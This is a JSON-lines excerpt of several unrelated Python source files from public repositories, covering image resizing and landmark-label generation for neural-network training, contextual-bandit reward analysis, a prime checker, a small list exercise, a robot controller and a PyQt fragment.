w - int\n target width of image\n\n returns:\n np.ndarray shape(h, w)\n 2D numpy array of resized image\n '''\n im = np.array(PIL.Image.open(fileName))\n if im.ndim == 3:\n #im = np.mean(im, 2, dtype=im.dtype) # buggy convertion\n im = np.array(np.mean(im, 2), dtype=im.dtype)\n\n return resizeAndPadImageArray(im, h, w)\n\n\ndef calcResizeRatio(size_orig, size_dest):\n '''\n Calc the resize ratio that will scale the image of size_orig\n using uniform scaling to fit withing size_dest.\n\n Returns the scaling ratio for the image.\n '''\n h_o, w_o = size_orig\n h_d, w_d = size_dest\n\n ratio_dest = h_d/w_d\n ratio_orig = h_o/w_o\n\n if ratio_orig > ratio_dest:\n resize_ratio = h_d/h_o\n else:\n resize_ratio = w_d/w_o\n\n return resize_ratio\n\n\ndef resizeAndPadImageArray(im, h=360, w=480):\n '''\n Resizes the image to given height and width. Uses proper Downsample\n '''\n # print('im dtpye:' + str(im.dtype) + ' shape:' + str(im.shape) )\n # im = color.rgb2gray(im)\n rateMy = h/float(w)\n rateIm = im.shape[0]/float(im.shape[1])\n if (rateIm > rateMy):\n # =np.ceil(im.shape[0]/rateMy)\n targetW = int(np.ceil(im.shape[0]/rateMy))\n diffW = targetW-im.shape[1]\n imAdded = np.hstack((im, np.zeros((im.shape[0], int(diffW)), dtype=im.dtype)))\n else:\n # if rateIm < rateMY\n # targetH=im.shape[1]*rateMy\n targetH = int(np.ceil(im.shape[1]*rateMy))\n diffH = targetH-im.shape[0]\n imAdded = np.vstack((im, np.zeros((int(diffH), im.shape[1]), dtype=im.dtype)))\n imRes = properDownsample(imAdded, h, w)\n # print(\"im \" + str(im.shape) + str(im.dtype))\n # print(\"imAdded \" + str(imAdded.shape) + str(imAdded.dtype))\n # print(\"imRes \" + str(imRes.shape) + str(imRes.dtype))\n return imRes\n\ndef properDownsample(imgGray, h=360, w=480):\n '''\n Uses skimage.transform.resize mode='constant' to \"down\" resize image\n\n imgGray - 2D ndarray\n grayscale image 2D np array\n\n h - int\n target height of image\n\n w - int\n target width of image\n\n returns:\n np.ndarray shape(h, w)\n 2D numpy array of resized image\n '''\n # opencv ohrani tip tabele\n #imRes = cv2.resize(imgGray, (w, h))\n\n imRes = skimage.transform.resize(imgGray, (h, w), mode='constant', order=0)\n # vrne med 0 in 1, nazaj spraviti uint8 oz uint16\n # float ne sme biti!\n if issubclass(imgGray.dtype.type, np.integer):\n imRes = imRes * np.iinfo(imgGray.dtype).max\n imRes = imRes.astype(imgGray.dtype)\n return imRes\n\ndef resizePoints(imOrig, pointsResol, h=360, w=480):\n '''\n Changes location of points for resized Cephalometric image\n '''\n rate = calcResizeRatio(imOrig.shape, (h, w))\n if isinstance(pointsResol, list):\n pointsResize = [(y*rate, x*rate) for y, x in pointsResol]\n else:\n pointsResize = pointsResol * rate # TODO: preveri\n return pointsResize\n\n\ndef radialExp(pointSize, sigma):\n ''' generate \"patch\" with radial exponential kernel in center\n pointSize - (odd number!) size of \"label\" (kernel)\n sigma=lambda\n sigma should not be None\n \n returns: kernel (label) - non normalized!!!\n '''\n if sigma is None:\n raise Exception('Sigma should not be None. set it or calculate via getSigmaForRadialExp() or getSimpleSigmaForRadialExp()')\n\n X, Y = np.meshgrid(np.arange(pointSize), np.arange(pointSize), )\n X = np.float32(X) - np.floor(pointSize/2)\n Y = np.float32(Y) - np.floor(pointSize/2)\n R = (X**2+Y**2)**0.5\n kernel = sigma*np.exp(-sigma*R)\n return kernel\n\n\ndef getSimpleSigmaForRadialExp(pointSize):\n '''\n simple method to calculate sigma for radial exponential function by the given pointSize\n check getSigmaForRadialExp() for better results\n '''\n # the number is totally experimental\n # hardcoded values\n if pointSize == 30:\n sigma = 0.3\n elif pointSize == 90:\n sigma = 0.09\n else:\n # 12/30 = 0.4\n # 12/90 = 0.13\n sigma = 12/pointSize\n return sigma\n\n\ndef radialExpWithQuantization(pointSize, sigma=None, levelCnt=256):\n '''\n calls radialExp function and quantisizes result\n used to reduce levels in label (kernel), so the nerual network might have less work to do\n \n returns: kernel (label) normalized and quansized\n '''\n levelCnt -= 1 # value 2 makes 3 levels...\n res = radialExp(pointSize, sigma)\n res /= res.max()\n res = np.round(res*levelCnt)/levelCnt\n return res\n\n\ndef plotRadialExp(pointSize, sigma, figsize=(12, 10)):\n res = radialExp(pointSize, sigma)\n res /= res.max()\n f = figure(figsize=figsize)\n f.suptitle(f'pointSize: {pointSize}, sigma: {pointSize}')\n imshow(res, vmin=0, vmax=1)\n\n\ndef testRadialExp(pointSize):\n '''\n helper function for use in ipython qtconsole...\n '''\n close('all')\n #pointSize=90\n for i in range(1,7):\n print(f'i:{i}')\n s = 1/i**2\n print(f'sigma:{s}')\n res = radialExp(pointSize, s)\n res /= res.max()\n f=figure()\n f.suptitle(f'mask:{pointSize}, sigma:{s}, max:{res.max()}')\n imshow(res)\n pyplot.colorbar()\n\n\ndef testQuantRadialExp(pointSize, levelCnt, sigma, figsize=(12, 10)):\n res = radialExpWithQuantization(pointSize=pointSize, sigma=sigma, levelCnt=levelCnt)\n f = figure(figsize=figsize)\n f.suptitle(f'mask:{pointSize}, levelCnt:{levelCnt}, sigma:{sigma}, max:{res.max()}')\n imshow(res, vmin=0, vmax=1)\n pyplot.colorbar()\n\n\ndef getSigmaForRadialExp(pointSize, startSigma=1.0, levelCnt=None, doPrint=False, doPlot=False, maxSteps=100, devVal=2):\n '''\n get sigma value for radexp that edge value is almost zero\n starting sigma gets devided by devVal (2) each step\n levelCnt: if set, it quatisized... (RECOMENDED)\n '''\n sigma = startSigma\n # sigmaLast = sigma\n halfSize = int(np.round(pointSize/2))\n for i in range(maxSteps):\n sigma /= devVal\n res = radialExp(pointSize, sigma)\n res /= res.max()\n if levelCnt is not None:\n res = np.round(res*levelCnt)/levelCnt\n # tests if edge is more than zero\n if doPrint:\n print(f'step: {i}, new sigma: {sigma}, edge val: {res[0, halfSize]}, unique vals: {len(np.unique(res))}')\n if res[0, halfSize] != 0:\n if doPrint:\n print(f'step {i}, reached 0 at edge, sigma: {sigma}')\n break\n # sigmaLast = sigma\n if doPlot:\n if levelCnt is None:\n # plotRadialExp(pointSize, sigmaLast)\n plotRadialExp(pointSize, sigma)\n else:\n # testQuantRadialExp(pointSize, levelCnt, sigmaLast)\n testQuantRadialExp(pointSize, levelCnt, sigma)\n return sigma # sigmaLast\n\n\ndef makeLabels(pointsResize, labCnt=72, h=360, w=480, pointSize=30, sigma=None, labelType='gauss', useFloat=False, labelQuantizationLevel=None):\n ''' vstavljanje tock v labele\n arguments:\n labelType: valid 'gauss', 'radexp'\n pointsResize: np.ndarray, [2, N] resized points\n pointSize: size of \"patch\" used for image-label description of point (pointResize)\n sigma: the value of sigma(gauss) or lambda (radexp)\n useFloat: generates label with max=1.0. False: max=255.0\n labelQuantizationLevel: radialExp, when not None, it will qanitisize. see radialExpWithQuantization()\n returns:\n labels: list of N ndarrays [h, w] containing \"gaussian\" labels (max=1.0 or 255.0)\n '''\n if labCnt > len(pointsResize[0]):\n txt1 = f'labCnt parameter bigger than size of pointsResize (file)'\n txt2 = f'labCnt vs len(pointsResize): {labCnt} vs {len(pointsResize[0])}'\n raise Exception(txt1+'\\n'+txt2)\n labels = []\n center = int(np.floor(pointSize/2))\n if labelType == 'gauss':\n mask = np.zeros((pointSize, pointSize), dtype=np.float32)\n mask[center, center] = 1\n # avtomatsko računanje sigme glede na velikost točke (patch-a)\n if sigma is None:\n sigma = pointSize/8\n # TODO: gauss label quantization!\n pointPatch = ndimage.filters.gaussian_filter(mask, sigma)\n pointPatch /= pointPatch.max()\n #if not useFloat:\n if useFloat is False:\n pointPatch = pointPatch * 255 # med 0 in 255\n \n elif labelType == 'radexp':\n #pointPatch = radialExp(pointSize)\n # get sigma if None\n if sigma is None:\n if labelQuantizationLevel is not None:\n sigma = getSigmaForRadialExp(pointSize, levelCnt=labelQuantizationLevel)\n else: # no qanization\n sigma = getSimpleSigmaForRadialExp(pointSize)\n if labelQuantizationLevel is None:\n pointPatch = radialExp(pointSize, sigma)\n # pointPatch is expeted normalized\n pointPatch /= pointPatch.max()\n else:\n pointPatch = radialExpWithQuantization(pointSize, sigma=sigma, levelCnt=labelQuantizationLevel)\n \n if useFloat is False:\n pointPatch = pointPatch * 255 # uint med 0 in 255\n \n else:\n raise Exception(f'unknown labelType: {labelType}. use gauss or radexp')\n \n \n for i in range(labCnt):\n # i=0 # ita tocka\n y = int(round(pointsResize[0][i]))\n x = int(round(pointsResize[1][i]))\n # check if outside\n if y < 0 or y >= h or x < 0 or x >= w:\n print('WARNING!!!\\npoint is outside of image (using empty label)')\n #print('x:' + str(x) + ' y:' + str(y) + ' h:' + str(h) + ' w:' + str(w))\n print(f'pointId:{i}, x: {x:3} y: {y:3} h: {h:4} w: {w:4}')\n labels.append(np.zeros((h, w)))\n continue\n # ignore \"nevidnih\" tock\n # TODO: deprecated? CephBot - all labels need to be OK\n if (x < 0.1):\n if(y < 0.1):\n print('WARNING!!!\\n y or y < 0.1 (using empty label)')\n print(f'pointId:{i}, x: {x}, y: {y}')\n labels.append(np.zeros((h, w)))\n continue\n \n # povečaj velikost slike + velikost labele da ne bo zunaj\n # label_pad = np.pad(label, center, mode='constant')\n #print('x' + str(x) + 'y' + str(y) + 'h' + str(h) + 'w' + str(w))\n label_pad = np.zeros((h + pointSize, w + pointSize))\n label_pad[y:y+pointSize, x:x+pointSize] = pointPatch.copy() # TODO: copy needed?\n # izreži samo del kjer je slika\n label = label_pad[center:center+h, center:center+w]\n labels.append(label)\n # return labels and optionaly calculated sigma\n return labels, sigma\n\ndef getResultJoined(imResized, labelsResized, disp=False):\n imResult = imResized.copy()\n imResult = imResult/imResult.max()\n imResult = imResult * 0.8\n # print(imResult.max())\n # print(labelsResized[3].max())\n for i in range(0, len(labelsResized)):\n # seštevanje label med sabo...\n # imResult = imResult + labelsResized[i]/255.0\n # lepši preview\n labTmp = labelsResized[i]/labelsResized[i].max()\n imResult = np.maximum(labTmp, imResult)\n if disp:\n import matplotlib.pyplot as pyplot\n\n pyplot.figure()\n pyplot.imshow(imResult, cmap='gray')\n pyplot.draw()\n pyplot.show()\n pyplot.waitforbuttonpress(4)\n pyplot.close('all')\n return imResult\n\ndef rotate_and_scale_im_points(im, points, theta, scaleFactor):\n ''' rotates and scales image and points according to theta in degrees and scale factor\n arguments:\n im: grayscale image\n points: np.ndarray, [2, N] \n N points in image im, each point is the pair (y, x) \n or (row, column)\n theta: float\n rotation angle in degrees\n scaleFactor: float\n scale factor, >1 data iz zoomed in, <1 data is zoomed out\n result:\n imRes: rotated and scaled image\n Ps_res: rotated and scale points\n warning: points may be outside the image!\n '''\n # conversion in radinas\n theta_r = np.radians(theta)\n # sine and cosine values\n c, s = np.cos(theta_r), np.sin(theta_r)\n # the image has zero in uppoer left corner, so we invert sine value\n # s = s*-1.\n # rotation matrix\n R_ = np.array([[c, -s, 0], [s, c, 0], [0, 0, 1]])\n # scaling matrix\n S_ = np.array([[scaleFactor, 0, 0], [0, scaleFactor, 0], [0, 0, 1]])\n # combining rotation and scaling with matrix multiplciation\n RS_ = R_.dot(S_)\n # Operations work in 0,0, so we have to translate image center to 0,0\n # make the manilupation and translate back to original position.\n # Translation in half of lenght and hight. also shape gives H,W -> W,H\n # update: potrebno je odšteti ena\n tr = np.array(im.shape[::-1])-1\n tr = tr/2 # TODO: kaj pri polovičkah??? (lihe?)\n # translation matrix\n T_ = np.array([[1, 0, tr[0]], [0, 1, tr[1]], [0, 0, 1]])\n # the last translation in invese opeation\n TRST_ = T_.dot(RS_).dot(np.linalg.inv(T_))\n # to transfom all pixels in image we use affine transfrom from ndimage\n # mora biti inverz transformacije !!!\n # prelikavanje iz ciljne v izvor (?)\n # The inverse coordinate transformation matrix\n #imRes = ndimage.affine_transform(im, np.linalg.inv(TRST_), mode='constant')\n # nearest: better because of \"random\" for NN training\n imRes = ndimage.affine_transform(im, np.linalg.inv(TRST_), mode='nearest')\n\n # convert the points in collumn matrix (3, 72) with ones in the end\n Ps_ = np.ones((3, points.shape[1]))\n Ps_[0, :] = points[0, :]\n Ps_[1, :] = points[1, :]\n # convert\n Ps_res = TRST_.dot(Ps_)\n\n return imRes, Ps_res[:2, :]\n\ndef translate_im_points(im, points, tr_vec):\n '''translates image and points by tr_vec\n arguments:\n im: grayscale image\n points: np.ndarray, [2, N] \n N points in image im, each point is the pair (y, x) \n or (row, column)\n tr_vec: np.ndarray, [2, ]\n result:\n imRes: translated image\n Ps_res: translated points\n warning: points may be outside the image!\n '''\n\n Ps_res = points.copy()\n Ps_res[0, :] += tr_vec[0]\n Ps_res[1, :] += tr_vec[1]\n\n imRes = ndimage.shift(im, tr_vec, mode='nearest')\n\n return imRes, Ps_res\n\ndef check_points_inside_image(img, points):\n ''' check if all points are inside the image\n (inside the image region)\n Returns:\n True: all points are OK\n False: one point (printed) is outside\n '''\n im_h = img.shape[0]\n im_w = img.shape[1]\n # points[:,71] -> (y,x) (row_ind, col_ind )\n for i in range(len(points[0])):\n status = True\n if points[0, i] < 0:\n status = False\n if points[1, i] < 0:\n status = False\n if points[0, i] >= im_h:\n status = False\n if points[1, i] >= im_w:\n status = False\n if status is False:\n print('BAD: ind: {}, y: {}, x {}'.format(i, points[0, i], points[1, i]))\n return False\n return True\n\ndef augument_image_and_points(img, points, rot_min, rot_max, scale_min, scale_max, num, disp=False):\n ''' augumentation of image and it's points. rotation (in degres) and scaling (1.1 in 110% size)\n a uniform random is used\n args:\n img: grayscale image\n points: (2, N) list of points. point(y,x) or (row_ind, col_ind)\n num: number of generated data\n returns:\n res_images: list of augmented images\n res_points: list of augumented points\n if error: [],[] is returned\n '''\n res_images = []\n res_points = []\n # show original\n if disp:\n import matplotlib.pyplot as pyplot\n\n fig = pyplot.figure()\n fig.canvas.set_window_title('orig')\n pyplot.imshow(img, cmap='gray')\n pyplot.plot(points[1], points[0], 'o')\n for i in range(0, num):\n # check if points gone out of image - repeat generation (augumentation)\n points_are_OK = False\n failCnt = 0\n while points_are_OK is False:\n # get rotation and scaling factors using unform scaling\n rot = np.random.uniform(rot_min, rot_max)\n sc = np.random.uniform(scale_min, scale_max)\n if disp:\n print('r:{:.2f}, s:{:.2f}'.format(rot, sc))\n im_r, po_r = rotate_and_scale_im_points(img, points, rot, sc, False)\n # test if points are inside image (point outside image not allowed)\n points_are_OK = check_points_inside_image(im_r, po_r)\n if points_are_OK is False:\n failCnt = failCnt + 1\n if disp:\n print('points outside, retry')\n if failCnt > 30:\n # assume it's infinite loop\n print('ERROR: failCnt > 30. finishing!')\n return [], []\n # all points ARE inside image\n res_images.append(im_r)\n res_points.append(po_r)\n if disp:\n fig = pyplot.figure()\n fig.canvas.set_window_title('res {}: rot={:.2f}, sc={:.2f}'.format(i, rot, sc))\n pyplot.imshow(im_r, cmap='gray')\n pyplot.plot(po_r[1], po_r[0], 'o')\n return res_images, res_points\n\n\ndef OLD_learn_rate_graph(base_lr=0.1, gamma=0.7, stepSize=10000, maxIt=None, doPrint=True, doPlot=True):\n lrs = []\n its = []\n if maxIt is None:\n maxIt = stepSize*10\n \n for i in range(0, maxIt, stepSize):\n lr = base_lr * (gamma ** (int(i/stepSize)))\n lrs.append(lr)\n its.append(i)\n if doPrint:\n print(f'i={i:6}: {base_lr}*{gamma}^{int(i/stepSize):2} = {lr:.5f} (lr)')\n \n if doPlot:\n import matplotlib.pyplot as plt\n \n fig, ax1 = plt.subplots()\n ax1.set_xlabel('itaration')\n \n color1 = 'tab:blue'\n ax1.set_ylabel('lr (linear)', color=color1)\n ax1.plot(its, lrs, '-o', color=color1)\n ax1.tick_params(axis='y', labelcolor=color1)\n # grid for linare scale\n plt.grid(True, which=\"both\")\n \n plt.title(f'learn_rate vs iteration.\\nbase_lr={base_lr}, gamma={gamma}, stepSize={stepSize}')\n \n # instantiate a second axes that shares the same x-axis\n ax2 = ax1.twinx()\n color2 = 'tab:red'\n # we already handled the x-label with ax1\n ax2.set_ylabel('lr (log)', color=color2)\n ax2.tick_params(axis='y', labelcolor=color2)\n ax2.plot(its, lrs, '-o', color=color2)\n # enable log scale for ax2\n ax2.set_yscale('log')\n \n # otherwise the right y-label is slightly clipped\n fig.tight_layout()\n plt.show()\n return fig\n\n\ndef learn_rate_calculate_limit(limit=0.0005, base_lr=0.1, gamma=0.7, stepSize=10000, maxIt=200000, doPrint=True):\n '''\n helper funtion that limits learn_rate values for given parameter (base_lr, gamma, stepSize=\n it also stops if maxIt has been reached.\n '''\n lrs = []\n its = []\n \n #for i in range(0, maxIt, stepSize):\n i = 0\n while True:\n lr = base_lr * (gamma ** (int(i/stepSize)))\n lrs.append(lr)\n its.append(i)\n if doPrint:\n print(f'i={i:6}: {base_lr}*{gamma}^{int(i/stepSize):2} = {lr:.5f} (lr)')\n # test if lr is smaller than limit\n if lr < limit:\n if doPrint:\n print(f'limit {limit} reached in {i/stepSize} steps. Final LR: {lr}. maximum iteration: {i}')\n break\n i += stepSize\n if i > maxIt:\n if doPrint:\n print(f'maximum iteration {maxIt} reached in {i/stepSize} steps. Final LR: {lr}. Limit was {limit}')\n print('\\n!!!check final LR !!!\\n\\n')\n break\n return lrs, its\n\n\ndef learn_rate_calculate(base_lr=0.1, gamma=0.7, stepSize=10000, maxIt=None, doPrint=True):\n lrs = []\n its = []\n if maxIt is None:\n maxIt = stepSize*10\n \n for i in range(0, maxIt, stepSize):\n lr = base_lr * (gamma ** (int(i/stepSize)))\n lrs.append(lr)\n its.append(i)\n if doPrint:\n print(f'i={i:6}: {base_lr}*{gamma}^{int(i/stepSize):2} = {lr:.5f} (lr)')\n return lrs, its\n\n\ndef learn_rate_graph(base_lr=0.1, gamma=0.7, stepSize=10000, maxIt=None, doPrint=True):\n lrs, its = learn_rate_calculate(base_lr, gamma, stepSize, maxIt, doPrint)\n \n import matplotlib.pyplot as plt\n fig, ax1 = plt.subplots()\n ax1.set_xlabel('itaration')\n plt.title(f'learn_rate vs iteration.\\nbase_lr={base_lr}, gamma={gamma}, stepSize={stepSize}')\n #plt.grid(True, which=\"both\")\n ax1.grid(True, which=\"major\", color='0')\n ax1.grid(True, which=\"minor\", ls=\"-.\", color='0.8')\n \n # instantiate a second axes that shares the same x-axis\n color2 = 'tab:red'\n # we already handled the x-label with ax1\n ax1.set_ylabel('lr (log)', color=color2)\n ax1.tick_params(axis='y', labelcolor=color2)\n ax1.plot(its, lrs, '-o', color=color2)\n # enable log scale for ax2\n ax1.set_yscale('log')\n \n # otherwise the right y-label is slightly clipped\n fig.tight_layout()\n plt.show()\n return fig, ax1\n\n\ndef learn_rate_graph():\n fig1 = learn_rate_graph(gamma=0.80, maxIt=200000, stepSize=10000)\n fig2 = learn_rate_graph(gamma=0.70, maxIt=200000, stepSize=10000)\n Lax1 = fig1.axes[0]\n Lax2 = fig2.axes[0]\n grpObj = Lax1.get_shared_y_axes()\n grpObj.join(Lax1, Lax2)\n\n\ndef getImageSizeFromFile(imagePath, backend='PIL'):\n ''' reads image from disk and gets hight and width\n backend:\n PIL - gets width and height without reading actual pixel data. fastest\n CV2 - use cv2\n MPL - use matplotlib. slowest\n returns:\n tuple (height, width)\n '''\n if not os.path.exists(imagePath):\n raise Exception(f'imagePath, path not exists: {imagePath} \\n {os.path.abspath(imagePath)}')\n if backend == 'MPL':\n im = plt.imread(imagePath)\n h = im.shape[0]\n w = im.shape[1]\n elif backend == 'PIL':\n img = PIL.Image.open(imagePath)\n h = img.height\n w = img.width\n elif backend == 'CV2':\n im = cv2.imread(imagePath)\n h = im.shape[0]\n w = im.shape[1]\n else:\n raise Exception(f'unknown backend: {backend}, use \"PIL\", \"CV2\" or \"MPL\"')\n return h, w\n\n","repo_name":"MartinSavc/SpatialConfNetExt","sub_path":"commonlib/resize_and_labels_fun.py","file_name":"resize_and_labels_fun.py","file_ext":"py","file_size_in_byte":26805,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"29315031364","text":"import json\nimport os\nimport re\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom misc import add_dict, create_key, create_directory, flatten, create_dictionary\n\n__author__ = 'pieter'\n\n# idea plot regret\n\nSTATS = [\"count\", \"revenue\", \"rate\"]\nDIR = \"agents/\"\n\n\ndef create_1d_stats(run_data):\n \"\"\"\n Create count and revenue stats per attribute value from a data dictionary\n :param run_data: [{context: context_dict, action: action_dict, result: result_dict}]\n :return: {context_key/action_key: {context_value/action_value: {count: int, revenue: int, rate: int}}}\n \"\"\"\n stats = dict()\n means = dict()\n total = dict(count=0, revenue=0, rate=0)\n count = 0\n for record in run_data:\n success = record[\"result\"][\"effect\"][\"Success\"]\n price = record[\"action\"][\"price\"]\n info = dict(record[\"context\"][\"context\"], **record[\"action\"])\n for k, v in info.items():\n create_key(stats, k, dict())\n create_key(stats[k], v, dict())\n stats[k][v][\"count\"] = stats[k][v].get(\"count\", 0) + 1\n stats[k][v][\"revenue\"] = stats[k][v].get(\"revenue\", 0) + success * price\n stats[k][v][\"rate\"] = stats[k][v][\"revenue\"] / stats[k][v][\"count\"]\n total[\"count\"] += stats[k][v][\"count\"]\n total[\"revenue\"] += stats[k][v][\"revenue\"]\n total[\"rate\"] += stats[k][v][\"rate\"]\n count += 1\n for stat in total.keys():\n means[stat] = total[stat] / count\n return stats, means\n\n\ndef create_2d_stats(run_data):\n \"\"\"\n Create stats from a data dictionary\n :param run_data: [{context: context_dict, action: action_dict, result: result_dict}]\n \"\"\"\n stats = dict()\n for record in run_data:\n success = record[\"result\"][\"effect\"][\"Success\"]\n price = record[\"action\"][\"price\"]\n for ck, cv in record[\"context\"][\"context\"].items():\n for ak, av in record[\"action\"].items():\n create_key(stats, ck, dict())\n create_key(stats[ck], ak, dict())\n create_key(stats[ck][ak], cv, dict())\n create_key(stats[ck][ak][cv], av, dict())\n stats[ck][ak][cv][av][\"count\"] = stats[ck][ak][cv][av].get(\"count\", 0) + 1\n stats[ck][ak][cv][av][\"revenue\"] = stats[ck][ak][cv][av].get(\"revenue\", 0) + success * price\n stats[ck][ak][cv][av][\"rate\"] = stats[ck][ak][cv][av][\"revenue\"] / stats[ck][ak][cv][av][\"count\"]\n return stats\n\n\ndef stat_dict_to_list(attr_stat_dict):\n \"\"\"\n :param attr_stat_dict: {attribute_value: {count: int, revenue: int, rate: int}}\n :return: [attribute_value], {counts=[], revenue=[], rate=[]}\n \"\"\"\n attr_values = sorted(list(attr_stat_dict.keys()))\n attr_stat_lists = dict()\n for attribute_value in attr_values:\n for stat_key in STATS:\n add_dict(attr_stat_lists, stat_key, [attr_stat_dict[attribute_value][stat_key]])\n return list(attr_values), attr_stat_lists\n\n\ndef plot_1d_stats(stats, means, name):\n for attr in stats.keys():\n if attr != \"ID\":\n attr_values, attr_stat_list = stat_dict_to_list(stats[attr])\n\n _, rate_axis = plt.subplots()\n count_axis = rate_axis.twinx()\n if isinstance(attr_values[0], str) or isinstance(attr_values[0], int):\n ind = np.arange(0, len(attr_values), 1)\n rate_axis.bar(ind, attr_stat_list[STATS[2]], width=.8)\n count_axis.plot(ind + .4, attr_stat_list[STATS[0]], 'k-')\n plt.xticks(ind + .4, tuple(attr_values))\n elif isinstance(attr_values[0], float):\n rate_axis.scatter(attr_values, attr_stat_list[STATS[2]])\n count_axis.plot(attr_values, attr_stat_list[STATS[0]], 'k-')\n else:\n raise TypeError(\"Unexpected datatype. Don't know how to plot\")\n rate_axis.axhline(y=means[\"rate\"])\n\n plt.title(\"Runid's = \" + str(list(data.keys())))\n rate_axis.set_ylim(0, 20)\n rate_axis.set_ylabel(\"Avg revenue\")\n rate_axis.set_xlabel(attr)\n count_axis.set_ylim(0, max(attr_stat_list[STATS[0]]) * 1.1)\n count_axis.set_ylabel(\"Occurrences\")\n\n dir = \"stats/\" + name + \"/rate/\"\n create_directory(dir)\n plt.savefig(dir + attr)\n plt.close()\n\n\ndef plot_2d_stats(stats, name):\n for ck in stats:\n if ck != \"ID\":\n for ak in stats[ck]:\n context_values_keys = sorted(stats[ck][ak].keys())\n context_values = dict(zip(context_values_keys, range(len(context_values_keys))))\n action_values_keys = sorted(set(flatten(list(map(lambda x: x.keys(), stats[ck][ak].values())))))\n action_values = dict(zip(action_values_keys, range(len(action_values_keys))))\n ck_ak_stats = np.zeros((len(context_values), len(action_values)))\n maximum = 0\n for cv in sorted(stats[ck][ak]):\n for av in sorted(stats[ck][ak][cv]):\n ck_ak_stats[context_values[cv], action_values[av]] = stats[ck][ak][cv][av][\"rate\"]\n maximum = max(maximum, stats[ck][ak][cv][av][\"rate\"])\n\n plt.imshow(ck_ak_stats.T, interpolation=\"none\")\n plt.clim([0, maximum])\n if ck_ak_stats.shape[0] > ck_ak_stats.shape[1]:\n plt.colorbar(orientation=\"horizontal\")\n else:\n plt.colorbar(orientation=\"vertical\")\n\n plt.xticks(list(range(len(context_values))), list(context_values_keys), rotation='vertical')\n plt.yticks(list(range(len(action_values))), list(action_values_keys))\n plt.xlabel(ck)\n plt.ylabel(ak)\n plt.title(\"Revenue / show\")\n\n dir = \"stats/\" + name + \"/rate_interaction/\"\n create_directory(dir)\n plt.savefig(dir + ck + \"-\" + ak)\n plt.close()\n\n\ndef plot_regret(run_data):\n max_reward = 15\n rewards = list(map(lambda record: record[\"result\"][\"effect\"][\"Success\"] * record[\"action\"][\"price\"], run_data))\n cum_rewards = np.cumsum(rewards)\n max_reward = np.cumsum(np.ones(cum_rewards.shape) * max_reward)\n plt.plot(max_reward - cum_rewards)\n filename = os.path.join(\"stats\", name, \"regret\")\n plt.savefig(filename)\n plt.close()\n\n\ndef average_param_reward(files):\n average = {}\n for file in files:\n agent = np.load(os.path.join('agents', file)).item()\n log = np.load(os.path.join('log', file)).item()\n if 'reward' in log:\n if 'thomp(' in file:\n learnrate = agent['learnrate']\n regulizer = agent['regulizer']\n reward = log['reward']\n create_dictionary(average, learnrate, {})\n add_dict(average[learnrate], regulizer, [reward], [])\n elif 'greedy' in file:\n create_dictionary(average, 0.0, {})\n add_dict(average[0.0], 'greedy', [log['reward']], [])\n k2_length = 0\n lengths = {}\n for k1 in average:\n k2_length = max(k2_length, len(average[k1]))\n for k2 in average[k1]:\n create_dictionary(lengths, k1, {})\n lengths[k1][k2] = len(average[k1][k2])\n average[k1][k2] = sum(average[k1][k2]) / len(average[k1][k2])\n return average, lengths\n\nfiles = [file for file in os.listdir(DIR) if \"thomp(\" in file or 'greedy' in file]\n# for file in files:\n# name = file[:-4]\n# print(\"Processing: \" + name)\n# create_directory(\"stats\")\n# data = np.load(DIR + file).item()\n# stats_1d, means = create_1d_stats(list(data.values())[0])\n# stats_2d = create_2d_stats(list(data.values())[0])\n# plot_2d_stats(stats_2d, name)\n# plot_1d_stats(stats_1d, means, name)\n# plot_regret(list(data.values())[0])\n\naverages, lengths = average_param_reward(files)\nprint(json.dumps(averages, sort_keys=True, indent=4, separators=(',', ': ')))\nprint(json.dumps(lengths, sort_keys=True, indent=4, separators=(',', ': ')))\n","repo_name":"pietermarsman/Streaming-Contextual-Bandits","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":8141,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"43185809237","text":"a=list(input(\"\\nEnter the list\\n\").split(\" \"))\r\nprint(a)\r\nfor i in range(len(a)):\r\n\tif int(a[i])>100:\r\n\t\ta[i]='over'\r\nprint(a)\r\n\r\n\"\"\"b=[]\r\nfor x in a:\r\n if x>100:\r\n y='over'\r\n b.append(y)\r\n else:\r\n b.append(x)\r\nprint(b)\"\"\"\r\n","repo_name":"Malavika-G-Raj/CET-LAB","sub_path":"Over.py","file_name":"Over.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72706508851","text":"# https://www.tutorialspoint.com/divmod-in-python-and-its-application\r\n# https://www.w3schools.com/python/python_operators.asp\r\n\r\ncontinued=\"y\"\r\nwhile continued==\"y\":\r\n x = 3\r\n prime = True\r\n print(\"Give me the number you would like to check.\")\r\n number = int(input())\r\n if number==2 :\r\n prime=True\r\n elif number%2==0:\r\n prime=False\r\n print(number, \"was divided by\", 2)\r\n else:\r\n while x**2 <=number:\r\n if number % x == 0:\r\n prime = False\r\n print(number,\"was divided by\",x)\r\n break\r\n else: x+=1\r\n if prime == False:\r\n print(number, \" is not a prime\")\r\n\r\n else:\r\n print(number, \" is a prime\")\r\n print(\"If you want to check another number press y (yes) alse press n (no)\")\r\n continued = input()\r\n\r\n#or number==3 or number==5 or number==7 or number==11\r\n","repo_name":"kalliopiMel/Find_the_prime","sub_path":"AreYouAPrime.py","file_name":"AreYouAPrime.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"5093571795","text":"sum=10\ncoins=[2,3,5,6]\n\nccl=[[None]*(sum+1) for i in coins]\n\nfor i in range(len(coins)):\n for j in range(sum+1):\n if j==0:\n ccl[i][j]=1\n elif i==0:\n if j%coins[i]==0:\n ccl[i][j]=1\n else:\n ccl[i][j]=0\n else:\n if j send_time:\n message = struct.pack(\"i i c\", int(x*100) , int(y*100) , victimType)\n emitter.send(message) # Send out the message\n send_time=robot.getTime() + 15\n\n","repo_name":"enzzo19/Sabado-IITA-robotica","sub_path":"controladores 'ejemplo', 'base'/send_victim.py","file_name":"send_victim.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"26080951965","text":"\"\"\"\na signal/slots program\n- from chapter 4 of book\n\"\"\"\nfrom PyQt5.QtCore import *\nfrom 